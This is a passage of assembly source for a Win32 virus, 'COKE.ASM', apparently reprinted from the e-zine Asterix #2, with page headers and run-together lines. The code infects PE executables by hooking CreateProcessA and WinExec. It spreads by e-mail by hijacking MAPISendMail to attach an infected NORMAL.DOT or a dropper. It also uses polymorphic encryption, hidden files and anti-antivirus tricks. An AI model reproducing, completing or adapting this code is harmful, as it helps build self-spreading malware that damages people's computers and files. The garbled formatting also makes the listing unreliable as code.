sFindWindowA - ofs vcode )dd ( ofs sPostMessageA - ofs vcode )dd 0

DeleteShitFile proccall deltamov ebx , [ esp +4]push 80hpush ebxcall [ ebp+( ofs _SetFileAttributesA - ofs vcode )]test eax , eaxjz @@1push ebxcall [ ebp+( ofs _DeleteFileA - ofs vcode )]

@@1:ret 4

DeleteShitFile endp

NewMAPISendMail procpush esp ;original MAPISendMailpushadcall deltalea eax , [ ebp+( ofs mapi - ofs vcode )]push eaxcall [ ebp+( ofs _GetModuleHandle - ofs vcode )]lea ecx , [ ebp+( ofs sMAPISendMail - ofs vcode )]push ecxpush eaxcall [ ebp+( ofs _GetProcAddress - ofs vcode )]mov [ esp +( 8* 4)], eax ;return address=MAPISendMail

mov edi , [ esp +( 12* 4)] ;MAPI Structcmp dwo [ edi.nFileCount ], 0 ;file attached?jnz @@3inc dwo [ edi.nFileCount ] ;set 1 attachments

lea ebx , [ ebp+( ofs MF - ofs vcode )]mov [ edi.lpFiles ], ebx

Page 192: EZine - Asterix #2

COKE.ASM

sub eax , eaxmov edi , ebxmov ecx , 6rep stosd ;esi=file structure

call OpenAncevjc @@4 ;file dont exists, binary send

call GetTemplateDir

@@aaa:lodsbtest al , aljnz @@aaa

call @@aabndot db '\NORMAL.DOT' , 0

@@aab:pop edixchg edi , esi

dec edi@@aac:

lodsbstosbtest al , al ;we'll send infected NORMAL.DOTjnz @@aac

lea esi , [ ebp+( ofs directory - ofs vcode )]push 80hpush esicall [ ebp+( ofs _SetFileAttributesA - ofs vcode )]

test eax , eaxjz @@4 ;file exists?

mov eax , esimov edx , 'COD'jmp @@5

@@4:

call CreateDropper

mov eax , [ ebp+( ofs mm_on_off - ofs vcode )]push eax ;buffermov eax , [ ebp+( ofs fsizel - ofs vcode )]push eax ;sizelea edi , [ ebp+( ofs rbuf - ofs vcode )]mov ebx , edicall @@111

shitfile db 'C:\ENIACOC.SYS' , 0@@111:

pop esi@@111a:

lodsbstosbtest al , aljnz @@111apush ebx ;name

mov dwo [ ebp+( ofs wd_att - ofs vcode )], 82hcall WriteDump ;hidden dump

Page 193: EZine - Asterix #2

COKE.ASM

push 00004000h +00008000hpush 0push dwo [ ebp+( ofs mm_on_off - ofs vcode )]call [ ebp+( ofs _VirtualFree - ofs vcode )]

lea eax , [ ebp+( ofs rbuf - ofs vcode )]mov edx , 'EXE'

@@5:lea edi , [ ebp+( ofs MF - ofs vcode )]mov [ edi.lpszPathName ], eax ;set file to sendlea esi , [ ebp+( ofs rbuf +MAX_PATH- ofs vcode )]mov [ edi.lpszFileName ], esixchg edi , esimov eax , 8call randominc eaxinc eaxinc eaxmov ecx , eax

@@a:mov eax , 23call randomadd al , 'A'stosbloop @@amov al , '.'stosbmov eax , edxstosd

@@3:mov dwo [ ebp+( ofs mm_on_off - ofs vcode )], 0popadret

NewMAPISendMail endp

NewCreateProcessA procpush esp ;new handler for CreateProcessApushadcall CheckNamecall deltamov eax , [ ebp+( ofs _CreateProcessA - ofs vcode )]mov [ esp +( 7* 4)+ 4], eaxpopadret

NewCreateProcessA endp

RestoreChunkz db FALSE

NewWinExec procpush esp ;new handler for WinExecpushadcall CheckNamecall deltamov eax , [ ebp+( ofs _WinExec - ofs vcode )]mov [ esp +( 7* 4)+ 4], eaxpopadret

NewWinExec endp

ProcessDir procpushad

Page 194: EZine - Asterix #2

COKE.ASM

lea edi , [ ebp+( ofs directory - ofs vcode )] ;edi=dir to processadd edi , eax ;eax=size of dirlea esi , [ ebp+( ofs FileMask - ofs vcode )]movsdmovsd ;copy *.* masklea eax , [ ebp+( ofs find_data - ofs vcode )]push eaxlea eax , [ ebp+( ofs directory - ofs vcode )]push eaxcall [ ebp+( ofs _FindFirstFileA - ofs vcode )]inc eaxjz @@0 ;no file found?dec eaxmov [ ebp+( ofs search_handle - ofs vcode )], eax

@@1:pushadlea esi , [ ebp+( ofs directory - ofs vcode )]sub eax , eaxmov edx , esi

@@3:lodsbcmp al , '\' ;search last slashjne @@5mov edx , esi ;update slash position

@@5:test al , aljnz @@3lea esi , [ ebp+( ofs filename - ofs vcode )]mov edi , edx

@@4:lodsbcmp al , 'V'je @@6cmp al , 'v'je @@6cmp al , '0'jb @@4acmp al , '9'jbe @@6

@@4a:stosbtest al , al ;copy name to pathjnz @@4mov eax , dwo [ edi - 4]or eax , 202020hnot eaxxor eax , not 'exe'jz @@7xor eax , (( not 'rcs' ) xor ( not 'exe' ))jnz @@6 ;tricky, isnt? :)

@@7:call Infect

@@6: ;process itpopadlea eax , [ ebp+( ofs find_data - ofs vcode )]push eaxmov eax , [ ebp+( ofs search_handle - ofs vcode )]push eaxcall [ ebp+( ofs _FindNextFileA - ofs vcode )]test eax , eax ;no more files in this dir?jne @@1

@@2:

Page 195: EZine - Asterix #2

COKE.ASM

push dwo [ ebp+( ofs search_handle - ofs vcode )]call [ ebp+( ofs _FindClose - ofs vcode )] ;close search

@@0:popadret

ProcessDir endp

peh_machine = 4peh_nosections = 6peh_ntheader = 20peh_flags = 22peh_initdata = 32peh_entrypoint = 40peh_imagebase = 52peh_imagesize = 80peh_chksum = 88peh_reloc1 = 160peh_reloc2 = 164

seh_rvasz = 8seh_rva = 12seh_rawsz = 16seh_raw = 20seh_attr = 36

Infect proc ;infect PE filezmov eax , [ ebp+( ofs seed - ofs vcode )]mov [ ebp+( ofs pseed - ofs vcode )], eaxmov ecx , DIV_VALUEcall set_new_ehmov esp ,[ esp +8] ;fix stack

_remove_seh :jmp remove_sehdb 0EAh

set_new_eh :sub edx , edxpush dwo fs :[ edx ]mov fs :[ edx ], esp ;set SEHmov by [ ebp+( ofs inf? - ofs vcode )], dlcmp [ ebp+( ofs fsizeh - ofs vcode )], edxjne _remove_seh ;too big?mov eax , [ ebp+( ofs fsizel - ofs vcode )]cmp dwo [ ebp+( ofs mm_on_off - ofs vcode )], 0jnz @@5 ;skip size check for dropperstest eax , eaxjz @@5acmp eax , 16* 1024jbe _remove_seh ;smaller than 16kb?

@@5:div ecxtest edx , edx ;padded to 101 boundary?jz _remove_seh

@@5a:call MapFile ;map filemov ecx , eaxmov ebx , eaxjecxz _remove_seh ;error mapping

mov [ ebp+( ofs map@- ofs vcode )], eax

cmp wo [ ecx ], 'ZM' ;EXE file?jne @@0

Page 196: EZine - Asterix #2

COKE.ASM

cmp wo [ ecx +18h ], 40hjne @@0mov edi , [ ecx +3ch ]add edi , ecxmov [ ebp+( ofs pe_header - ofs vcode )], edicmp dwo [ edi ], 'EP' ;PE EXE file?jne @@0cmp wo [ edi +peh_machine ], 014Ch ;i386?jne @@0movzx eax , wo [ edi +peh_flags ]not altest eax , 2002hjnz @@0 ;isnt DLL? is executable?mov esi , edimovzx ecx , wo [ edi +peh_nosections ]cmp ecx , 3jb @@0 ;too few sectionsdec ecxmov eax , ecxshl eax , 3shl ecx , 5add eax , ecxmovzx ecx , wo [ edi +peh_ntheader ]add eax , 24add eax , ecx ;esi=pe headeradd edi , eax ;edi=section header

bt dwo [ edi.seh_attr ], 6 ;must be init datajnc @@0

pushadmov eax , [ esi +peh_entrypoint ]mov [ ebp+( ofs old_eip - ofs vcode )], eax ;copy entrypointmov edi , esimovzx ecx , wo [ edi +peh_ntheader ]add ecx , 24add edi , ecx ;edi=first section headermov eax , [ edi +seh_rva ]mov [ ebp+( ofs sRVA - ofs vcode )], eaxmov eax , [ edi +seh_rawsz ]mov [ ebp+( ofs RawSize - ofs vcode )], eax ;set vars for branch_entry

mov ecx , [ esi +132 ]mov eax , [ edi +seh_rva ]add eax , [ edi +seh_rvasz ]mov ebx , [ esi +128 ]sub eax , ebxjc @@not_in_1st ;IT start after end of 1st sec

cmp ecx , eaxja @@set_itxchg eax , ecxjmp @@set_it

@@not_in_1st :sub ecx , ecx

@@set_it :mov [ ebp+( ofs it_size - ofs vcode )], ecx

push 00000040hpush 00002000h +00001000h +00100000hpush 32* 1024push 0

Page 197: EZine - Asterix #2

COKE.ASM

call [ ebp+( ofs _VirtualAlloc - ofs vcode )]mov [ ebp+( ofs buffer2 - ofs vcode )], eaxpush 00000040hpush 00002000h +00001000h +00100000hpush 32* 1024push 0call [ ebp+( ofs _VirtualAlloc - ofs vcode )]mov [ ebp+( ofs buffer1 - ofs vcode )], eax ;alloc 2 bufferz for polymov edi , eaxmov esi , ebpmov ecx , vsizerep movsb ;init first bufferpopad

lea eax , [ ebp+( ofs kernel - ofs vcode )] ;search in kernel32mov [ ebp+( ofs dll_name - ofs vcode )], eaxlea eax , [ ebp+( ofs sGetProcAddress - ofs vcode )]call SearchITpush eax ;push GetProcAdresslea eax , [ ebp+( ofs sGetModuleHandle - ofs vcode )]call SearchITpush eax ;push GetModuleHandleAlea eax , [ ebp+( ofs sCreateProcessA - ofs vcode )]call SearchITpush eax ;push CreateProcessAlea eax , [ ebp+( ofs sWinExec - ofs vcode )]call SearchITpush eax ;push WinExec

lea eax , [ ebp+( ofs mapi - ofs vcode )] ;search in mapi32mov [ ebp+( ofs dll_name - ofs vcode )], eaxlea eax , [ ebp+( ofs sMAPISendMail - ofs vcode )]call SearchITpush eax ;push MAPISendMail

sub ecx , ecxmov edx , [ edi +seh_rva ]add edx , [ edi +seh_rawsz ] ;rva+raw size=epmov [ ebp+( ofs ep - ofs vcode )], edxmov ecx , [ esi +peh_imagebase ]add edx , ecx ;ep+base=delta runmov eax , [ esi +peh_entrypoint ]

mov esi , [ ebp+( ofs buffer1 - ofs vcode )]mov edi , [ ebp+( ofs buffer2 - ofs vcode )]

mov [ esi +( ofs _delta - ofs vcode )], edx ;set delta in copymov [ esi +( ofs _base - ofs vcode )], ecxsub eax , [ ebp+( ofs ep - ofs vcode )]sub eax , 4+( ofs host_entry - ofs vcode )mov [ esi +( ofs host_entry - ofs vcode )], eax ;set entrypoint in copy

pop eaxmov [ esi +( ofs OldMAPISendMail - ofs vcode )], eaxpop eaxmov [ esi +( ofs OldWinExec - ofs vcode )], eaxpop eaxmov [ esi +( ofs OldCreateProcessA - ofs vcode )], eaxpop eaxmov [ esi +( ofs OldGetModuleHandleA - ofs vcode )], eaxpop eaxmov [ esi +( ofs OldGetProcAddress - ofs vcode )], eax

Page 198: EZine - Asterix #2

COKE.ASM

mov by [ esi +( ofs RestoreChunkz - ofs vcode )], FALSEcmp dwo [ ebp+( ofs RawSize - ofs vcode )], MIN_RAWjb @@a

pushad

lea edi , [ esi +( ofs rbuf - ofs vcode )] ;start of restoration tablepush edimov ecx , ( MAX_BRANCH*( 128+4+4))/ 4

@@be0:call random0 ;fill buffer with garbagestosdloop @@be0

sub eax , eaxmov [ ebp+( ofs reg32 - ofs vcode )], eax ;init internal varsmov [ ebp+( ofs lparm - ofs vcode )], eaxmov [ ebp+( ofs lvars - ofs vcode )], eaxmov [ ebp+( ofs subs_index - ofs vcode )], eaxmov [ ebp+( ofs s_into - ofs vcode )], eax ;allow call

mov by [ ebp+( ofs recurse - ofs vcode )], MAX_RECURSION- 2pop edi

mov eax , [ ebp+( ofs old_eip - ofs vcode )] ;first chunk atsub ecx , ecx ;counter

@@be1:inc ecx ;chunk countstosd ;starting RVAstosd ;(make space for size)call virtual2physical_or eax , eaxjz @@fux0redmov esi , eaxadd esi , [ ebp+( ofs map@- ofs vcode )]

push ecxmov ecx , 128push esi edirep movsb ;copy bytes at chunkpop esi edipop ecx

lea ebx , [ edi - 5]call crypt_polycall garble ;make junkcall crypt_polymov [ esi - 4], edi ;(destinesub [ esi - 4], ebx ;- previous destine(b4 junk))

;==sizemov al , 0e9hstosdstosb ;make JMP

pushad ;choose a suitable EIP for next@@ce0: ;chunk(not overlapping)

mov eax , [ ebp+( ofs RawSize - ofs vcode )]sub eax , 12345678h

it_size equ dwo $- 4call randomadd eax , [ ebp+( ofs sRVA - ofs vcode )] ;eip=rnd(rva)+base

Page 199: EZine - Asterix #2

COKE.ASM

sub edx , edxsub ebx , ebx ;init ok_counter,checked_counterlea edi , [ ebp+( ofs rbuf - ofs vcode )]

@@ce1:mov esi , [ edi ]add esi , [ edi +4] ;entrypoint is above the end(point+sz)cmp eax , esi ;last one, so, is valid(for dis entry)ja @@ce3mov esi , [ edi ] ;entrypoint is below current one - 129sub esi , 129 ;so, it have enought room to grown, okcmp eax , esijnb @@ce2

@@ce3:inc edx ;this one is ok

@@ce2:add edi , [ edi +4] ;update pointer to next chunk infoadd edi , 4* 2inc ebx

cmp ecx , ebx ;all entries checked? no, continuejne @@ce1

cmp ecx , edx ;eip allowed for all our entries?jne @@ce0

mov [ esp +( 7* 4)], eax ;fix eax(stack)popad

push eax

call virtual2physical_add eax , [ ebp+( ofs map@- ofs vcode )]mov ebx , edisub eax , ebx ;calc distance between chunksmov [ edi - 4], eax ;patch JMPlea eax , [ edi - 4] ;last patcheable jumpsub eax , [ ebp+( ofs map@- ofs vcode )]mov [ ebp+( ofs patch_jump - ofs vcode )], eaxmov edi , esiadd edi , [ edi - 4] ;edi(table)=edi+2 dwords+junk

;(cut excess copied bytes)pop eaxcmp ecx , MAX_BRANCH ;process next chunkjb @@be1popad

mov by [ esi +( ofs RestoreChunkz - ofs vcode )], TRUE

@@a:pushadmov edi , esimov eax , [ ebp+( ofs key1 - ofs vcode )]mov ecx , ( ofs dec_end_code - ofs vcode )/ 4

@@loop1:xor [ edi ], eax ;do 2nd loop(internal)scasdadd eax , [ ebp+( ofs key2 - ofs vcode )]loop @@loop1popadmov eax , ( ofs DecriptInit - ofs vcode ) ;where our code get controlmov ecx , vsizecall mutate ;encript

Page 200: EZine - Asterix #2

COKE.ASM

mov by [ ebp+( ofs inf? - ofs vcode )], - 1 ;set continue infectingmov [ ebp+( ofs polybuffer - ofs vcode )], ediadd [ ebp+( ofs ep - ofs vcode )], eax ;add poly entry to file entrycmp ecx , msize ;if poly decriptorz dont filljnb @@3 ;bufferz, make it bufsize longmov ecx , msize

@@3:mov [ ebp+( ofs tamanho - ofs vcode )], ecx

@@0:call UnmapFile

@@1:movzx eax , by [ ebp+( ofs inf? - ofs vcode )]or eax , eaxmov by [ ebp+( ofs inf? - ofs vcode )], 0 ;continue processing?jz remove_sehmov eax , [ ebp+( ofs tamanho - ofs vcode )]add eax , [ ebp+( ofs fsizel - ofs vcode )]call AlignD ;round mapsize to infectedmov [ ebp+( ofs fsizel - ofs vcode )], eax ;markcall MapFileor eax , eax ;error mapping(all is fux0red)jz @@1mov ebx , eaxmov [ ebp+( ofs map@- ofs vcode )], eaxadd eax , [ eax +3ch ]mov esi , eaxmov edi , eaxmov [ ebp+( ofs pe_header - ofs vcode )], edimovzx ecx , wo [ esi +peh_nosections ]dec ecxmov eax , ecxshl eax , 3shl ecx , 5add eax , ecxmovzx ecx , wo [ esi +peh_ntheader ]add eax , ecxsub ecx , ecx ;esi=pe headeradd eax , 24 ;ebx=map baseadd edi , eax ;edi=last section header

mov [ esi +peh_reloc1 ], ecxmov [ esi +peh_reloc2 ], ecx ;no more relocz

push edi esi

xchg edi , esimov edi , [ esi +seh_raw ]add edi , [ esi +seh_rawsz ]cmp dwo [ ebp+( ofs RawSize - ofs vcode )], MIN_RAWjb @@11

pushadmov edi , [ ebp+( ofs patch_jump - ofs vcode )]mov eax , ediadd edi , ebxcall physical2virtual_ ;get rva of jump immediatemov ebx , eaxmov eax , [ ebp+( ofs ep - ofs vcode )]sub eax , ebx ;sub it from new eipsub eax , 4mov [ edi ], eax ;patch jmppopad

Page 201: EZine - Asterix #2

COKE.ASM

jmp @@12@@11:

mov eax , [ ebp+( ofs ep - ofs vcode )] ;get new eipmov esi , [ esp ]mov [ esi +peh_entrypoint ], eax ;set it in pe header

@@12:add edi , ebx ;edi=raw ofs+raw sz+mbasemov esi , [ ebp+( ofs polybuffer - ofs vcode )]mov edx , [ ebp+( ofs tamanho - ofs vcode )]mov ecx , edxcldrep movsb ;zopy vilus codle

pop esi edimov [ esi +peh_chksum ], ecx ;zero checksummov eax , edxadd eax , [ esi +peh_initdata ] ;init data size+vsizecall AlignFmov [ esi +peh_initdata ], eaxmov [ edi +seh_attr ], 80000000h +40000000h +00000040h

;NT COMPATIBILITY ZONE;all to make pe infection NT compliant is here;hehe... you also must get the APIs right, of cours epush dwo [ ebp+( ofs fsizel - ofs vcode )]push ebxmov eax , [ edi +seh_rawsz ]mov ebx , [ edi +seh_rvasz ]

; mov edx, [ebp+(ofs tamanho-ofs vcode)]add eax , edxadd ebx , edx ;increase raw/virtual sizecall AlignFmov [ edi +seh_rawsz ], eax ;save aligned raw sizexchg eax , ebxcall AlignO ;align virtual sizecmp eax , ebxjnb @@4 ;is below raw size?mov eax , ebxcall AlignO ;then use raw size, realigned

@@4:mov [ edi +seh_rvasz ], eax ;save aligned virtual sizemov eax , [ edi +seh_rvasz ] ;calculate last memory occupedadd eax , [ edi +seh_rva ]call AlignO ;aligncmp eax , [ esi +peh_imagesize ] ;is bigger than previous one?jb @@aamov [ esi +peh_imagesize ], eax ;if so, fix imagesize

@@aa:

call ChecksumMappedFilemov [ esi +peh_chksum ], eax

push 00004000h +00008000hpush 0push dwo [ ebp+( ofs buffer1 - ofs vcode )]call [ ebp+( ofs _VirtualFree - ofs vcode )]push 00004000h +00008000hpush 0push dwo [ ebp+( ofs buffer2 - ofs vcode )]call [ ebp+( ofs _VirtualFree - ofs vcode )] ;free bufferzmov by [ ebp+( ofs inf? - ofs vcode )], 0

Page 202: EZine - Asterix #2

COKE.ASM

jmp @@0

@@fux0red:popadjmp @@a

wavp db 'AVP Monitor' , 0 ;inserted in middle of code ;)

remove_seh :sub edx , edxpop dwo fs :[ edx ] ;remove framepop edxret

Infect endp

AlignD procpush ebp edxmov ebp , DIV_VALUEjmp _align

AlignD endp

AlignO procpush ebp edxmov ebp , [ esi +56]jmp _align

AlignO endp

AlignF procpush ebp edxmov ebp , [ esi +60]

_align :sub edx , edxdiv ebptest edx , edxjz @@1inc eaxsub edx , edx

@@1:mul ebppop edx ebpret

AlignF endp

WriteMem procpush 0 ;resultpush ecx ;sizepush esi ;buffer frompush edi ;where writecall [ ebp+( ofs _GetCurrentProcess - ofs vcode )]push eax ;handle to processcall [ ebp+( ofs _WriteProcessMemory - ofs vcode )]ret

WriteMem endp

cp_key db 0

GetList proclea edi , [ ebp+( ofs directory - ofs vcode )]push MAX_PATHpush edicall [ ebp+( ofs _GetSystemDirectoryA - ofs vcode )]lea edi , [ edi +eax ]

Page 203: EZine - Asterix #2

COKE.ASM

call @@1db '\BRSCBC.DAT' , 0

@@1:pop esi

@@2:lodsbstosbtest al , aljnz @@2ret

GetList endp

CheckList procpush eaxcall GetListmov dwo [ ebp+( ofs fsizel - ofs vcode )], 1* 4inc by [ ebp+( ofs mf_mode - ofs vcode )]inc by [ ebp+( ofs mf_mode1 - ofs vcode )]call MapFilemov [ ebp+( ofs map@- ofs vcode )], eaxdec by [ ebp+( ofs mf_mode - ofs vcode )]dec by [ ebp+( ofs mf_mode1 - ofs vcode )]mov edi , eaxtest eax , eaxpop eaxjz @@1mov ecx , [ ebp+( ofs fsizel - ofs vcode )]shr ecx , 2repne scasdpush ecxcall UnmapFilepop eax

@@1:ret

CheckList endp

InsertList proccall GetListsub eax , eaxpush eaxpush 80hpush 3push eax eaxpush 0c0000000h ;read/writelea eax , [ ebp+( ofs directory - ofs vcode )]push eaxcall [ ebp+( ofs _CreateFileA - ofs vcode )]inc eaxjz @@1dec eax

push eax

sub ecx , ecxpush 2push ecxpush ecxpush eaxcall [ ebp+( ofs _SetFilePointer - ofs vcode )]

mov eax , [ esp ]

Page 204: EZine - Asterix #2

COKE.ASM

push 0call @@2dd 0

@@2:push 4lea ecx , [ ebp+( ofs email_crc - ofs vcode )]push ecxpush eaxcall [ ebp+( ofs _WriteFile - ofs vcode )]

call [ ebp+( ofs _CloseHandle - ofs vcode )]

@@1:ret

InsertList endp

ChecksumMappedFile procpush ebpmov ebp , esppush esipush ecxpush edxxor edx , edxmov esi , [ ebp+8]mov ecx , [ ebp+12]shr ecx , 1

@@1:movzx eax , wo [ esi ]add edx , eaxmov eax , edxand edx , 0FFFFhshr eax , 10hadd edx , eaxadd esi , 2loop @@1mov eax , edxshr eax , 10hadd ax , dxadd eax , [ ebp+12]pop edxpop ecxpop esileaveretn 8

ChecksumMappedFile endp

SearchIT procpushadcall snemov esp ,[ esp +8] ;fix stack

_rseh :sub eax , eax ;signal not foundjmp rseh

sne :sub edx , edxpush dwo fs :[ edx ]mov fs :[ edx ], esp ;set SEHcall gpa_kernel32 ;get add for the case it is boundmov edi , eaxmov eax , dwo [ esi +128 ] ;import dirpush edicall virtual2physical

Page 205: EZine - Asterix #2

COKE.ASM

pop edijc @@3mov edx , eaxadd edx , ebx

@@2:cmp dwo [ edx ], 0je @@3mov eax , [ edx +12] ;get module namepush edicall virtual2physicalpop edijc @@0add eax , ebxmov ecx , 12345678h

dll_name equ dwo $- 4call strcmpjz @@1

@@0:add edx , 20 ;check nextjmp @@2 ;process next dir

@@3:jmp _rseh

@@1:mov eax , [ edx +16] ;pointer to name table pointermov ebp , eaxpush edicall virtual2physicalpop edijc @@3add eax , ebxmov edx , esimov esi , eaxsub ecx , ecx

@@4:lodsd ;load pointer to nametest eax , eaxjz @@3 ;ebx=baseinc ecxcmp eax , edijz @@6cmp eax , 077f00000hja @@4 ;pointing to kernel? is boundxchg esi , edxpush edicall virtual2physical ;edx=table esi=pe headerpop edijc @@3push edimov edi , [ esp +( 7* 4)+ 4+8] ;load requested APIpush esilea esi , [ eax +ebx +2]dec edi

@@7:inc edilodsbtest al , aljz @@5cmp [ edi ], alje @@7pop esipop edixchg esi , edx ;esi=table edx=pe header

Page 206: EZine - Asterix #2

COKE.ASM

jmp @@4@@5:

pop eaxpop eax

@@6:dec ecxlea eax , [ ebp+( ecx * 4)]

rseh :sub edx , edxpop dwo fs :[ edx ] ;remove framepop edxmov dwo [ esp +( 7* 4)], eaxpopadret

SearchIT endp

strcmp procpush edx ebx edi

@@2:mov bl , [ eax ]cmp bl , 'a'jb @@3cmp bl , 'z'ja @@3and bl , not 20h

@@3:cmp by [ ecx ], 0jz @@1cmp [ ecx ], bljnz @@1inc ecxinc eaxjmp @@2

@@1:pop edi ebx edxret

strcmp endp

virtual2physical procpush ecx esimov edi , esimovzx ecx , wo [ esi +20]add edi , 24add edi , ecx ;edi eq 1th section headermovzx ecx , wo [ esi +peh_nosections ]

@@0:push eaxsub eax , [ edi +12] ;sub RVAcmp eax , [ edi +8] ;pointing inside?jb @@1pop eaxadd edi , 40 ;next section headerloop @@0sub eax , eaxstc ;signal errorjmp @@2

@@1:add eax , [ edi +20] ;add raw pointerpop ecx ;fix stack

@@2:pop esi ecx ;eax=fisical placeret ;edi=section

Page 207: EZine - Asterix #2

COKE.ASM

virtual2physical endp

virtual2physical_ procpushadmov esi , [ ebp+( ofs pe_header - ofs vcode )]call virtual2physicalmov [ esp +( 7* 4)], eaxpopadret

virtual2physical_ endp

physical2virtual_ procpushadmov esi , [ ebp+( ofs pe_header - ofs vcode )]call physical2virtualmov [ esp +( 7* 4)], eaxpopadret

physical2virtual_ endp

physical2virtual procpush ecx esimov esi , [ ebp+( ofs pe_header - ofs vcode )]mov edi , esimovzx ecx , wo [ esi +20]add edi , 24add edi , ecx ;edi eq 1th section headermovzx ecx , wo [ esi +peh_nosections ]

@@0:push eaxsub eax , [ edi +20] ;sub physical startcmp eax , [ edi +16] ;still pointing to this sectionjb @@1pop eaxadd edi , 40 ;next section headerloop @@0sub eax , eaxstc ;signal errorjmp @@2

@@1:add eax , [ edi +12] ;add rvapop ecx

@@2:pop esi ecx ;eax=fisical placeret ;edi=section

physical2virtual endp

MapFile procmov eax , [ ebp+( ofs mm_on_off - ofs vcode )]test eax , eaxjz @@1 ;if [mm_on_off] contains a @clc ;treat it like a memory mappedret ;file

@@1:push - 1

mf_mode1 equ by $- 1

pop ecxjecxz @@212

push 80hlea eax , [ ebp+( ofs directory - ofs vcode )]

Page 208: EZine - Asterix #2

COKE.ASM

push eaxcall [ ebp+( ofs _SetFileAttributesA - ofs vcode )]test eax , eaxjz error_map ;blank attributes

@@212:sub eax , eaxpush eaxpush 80hpush 3

mf_mode equ by $- 1push eax eaxpush 0c0000000h ;read/writelea eax , [ ebp+( ofs directory - ofs vcode )]push eaxcall [ ebp+( ofs _CreateFileA - ofs vcode )]inc eaxjz error_mapfdec eaxmov [ ebp+( ofs handle1 - ofs vcode )], eax

sub ebx , ebx

cmp [ ebp+( ofs fsizel - ofs vcode )], ebxjne @@2

push ebxpush eaxcall [ ebp+( ofs _GetFileSize - ofs vcode )]mov [ ebp+( ofs fsizel - ofs vcode )], eaxsub edx , edxmov ecx , DIV_VALUEdiv ecxtest edx , edxjz close_map

@@2:

sub eax , eaxpush eaxpush dwo [ ebp+( ofs fsizel - ofs vcode )]push eaxpush 4push eaxpush dwo [ ebp+( ofs handle1 - ofs vcode )]call [ ebp+( ofs _CreateFileMappingA - ofs vcode )]test eax , eaxjz close_mapmov [ ebp+( ofs handle2 - ofs vcode )], eaxsub eax , eaxpush dwo [ ebp+( ofs fsizel - ofs vcode )]push eax eaxpush 2push dwo [ ebp+( ofs handle2 - ofs vcode )]call [ ebp+( ofs _MapViewOfFile - ofs vcode )]test eax , eaxjz unmap_mapret

MapFile endp

CheckName procpush ebp

Page 209: EZine - Asterix #2

COKE.ASM

call _sehmov esp ,[ esp +8] ;fix stackjmp remove_seh

_seh :sub ecx , ecxpush dwo fs :[ ecx ]mov fs :[ ecx ], espcldcall deltalea edi , [ ebp+( ofs directory - ofs vcode )]push edimov esi , [ esp +( 7* 4)+( 4* 6)+( 2* 4)] ;get pointer to path name

@@1:lodsbcmp al , '\'jne @@5inc ecx ;signal slash found

@@5:cmp al , '"'je @@1cmp al , "'" ;ignore theseje @@1cmp al , 'a'jb @@3cmp al , 'z'ja @@3and al , not 20h ;make upcase

@@3:stosbtest al , aljnz @@1dec edijecxz @@7

@@2:mov al , by [ edi - 1]cmp al , 20hje @@8add bl , al ;calc chksum

@@8:dec edicmp al , '\' ;find backslashjnz @@2

@@7:mov eax , edipop edxjecxz @@6sub eax , edxpush ebxcall ProcessDir ;process directorypop ebx

@@6:sub edx , edxpop dwo fs :[ edx ] ;remove framepop edxpop ebpret

CheckName endp

UnmapFile procmov eax , [ ebp+( ofs mm_on_off - ofs vcode )]test eax , eaxjz @@1

Page 210: EZine - Asterix #2

COKE.ASM

clcret

@@1:push dwo [ ebp+( ofs map@- ofs vcode )]call [ ebp+( ofs _UnmapViewOfFile - ofs vcode )]

unmap_map:push dwo [ ebp+( ofs handle2 - ofs vcode )]call [ ebp+( ofs _CloseHandle - ofs vcode )]

close_map :lea eax , dwo [ ebp+( ofs lw_creat_h - ofs vcode )]push eaxsub eax , 8push eaxsub eax , 8push eaxpush dwo [ ebp+( ofs handle1 - ofs vcode )]call [ ebp+( ofs _SetFileTime - ofs vcode )]push dwo [ ebp+( ofs handle1 - ofs vcode )]call [ ebp+( ofs _CloseHandle - ofs vcode )]

error_mapf :push dwo [ ebp+( ofs fattr - ofs vcode )]lea eax , [ ebp+( ofs directory - ofs vcode )]push eaxcall [ ebp+( ofs _SetFileAttributesA - ofs vcode )]

error_map :sub eax , eaxret

UnmapFile endp

random0 procsub eax , eax

random procpush ecx edxpush eaxcall deltamov eax , [ ebp+( ofs pseed - ofs vcode )]mov ecx , 41c64e6dhmul ecxadd eax , 3039hand eax , 7ffffffhmov [ ebp+( ofs pseed - ofs vcode )], eaxpop ecxjecxz @@3 ;limit set?sub edx , edxdiv ecxxchg eax , edx ;value = rnd MOD limit

@@3:mov ecx , [ esp +( 2* 4)] ;ecx=ret addresscmp by [ ecx ], 0cch ;is ret address a int3?jne @@4jmp ebp ;if so, start to exec garbage

@@4:pop edx ecxsahf ;random flagzret

random endprandom0 endp

;name +4;size +8;buffer +12WriteDump proc

Page 211: EZine - Asterix #2

COKE.ASM

sub eax , eaxpush eaxpush 12345678h ;hidden file

wd_att equ dwo $- 4push 2push eax eaxpush 0c0000000h ;read/writepush dwo [ esp +4+( 6* 4)]call [ ebp+( ofs _CreateFileA - ofs vcode )]mov ebx , eax

push 0call @@61dd 0

@@61:push dwo [ esp +8+( 2* 4)]push dwo [ esp +12+( 3* 4)]push ebxcall [ ebp+( ofs _WriteFile - ofs vcode )]push ebxcall [ ebp+( ofs _CloseHandle - ofs vcode )]ret 12

WriteDump endp

FileMask db '\*.*' , 0, 0, 0, 0

macro_crypt procpushadmov al , 0

macro_key equ by $- 1mov ecx , ofs macro_end - ofs macro_startlea edi , [ ebp+( ofs macro_start - ofs vcode )]

@@1:xor by [ edi ], alinc ediloop @@1popadret

macro_crypt endp

CRC32 proccldpush ebxmov ecx , - 1mov edx , ecx

NextByteCRC :xor eax , eaxxor ebx , ebxlodsbxor al , clmov cl , chmov ch , dlmov dl , dhmov dh, 8

NextBitCRC :shr bx , 1rcr ax , 1jnc NoCRCxor ax , 08320hxor bx , 0edb8h

NoCRC:dec dh

Page 212: EZine - Asterix #2

COKE.ASM

jnz NextBitCRCxor ecx , eaxxor edx , ebxdec dijnz NextByteCRCnot edxnot ecxpop ebxmov eax , edxrol eax , 16mov ax , cxret

CRC32 endp

OpenAncev procsub eax , eaxpush eaxpush 80hpush 3push eax eaxpush 80000000hcall @@1

ancevsys db 'C:\ANCEV.SYS' , 0@@1:

call [ ebp+( ofs _CreateFileA - ofs vcode )]inc eaxjz @@filedontexistsdec eaxpush eaxcall [ ebp+( ofs _CloseHandle - ofs vcode )]

@@fileexists :clcret

@@filedontexists :stcret

OpenAncev endp

align 4

dec_end_code equ this byte

DecriptInit proccldsub eax , eaxdb 0b8h +5 ;mov ebp, delta

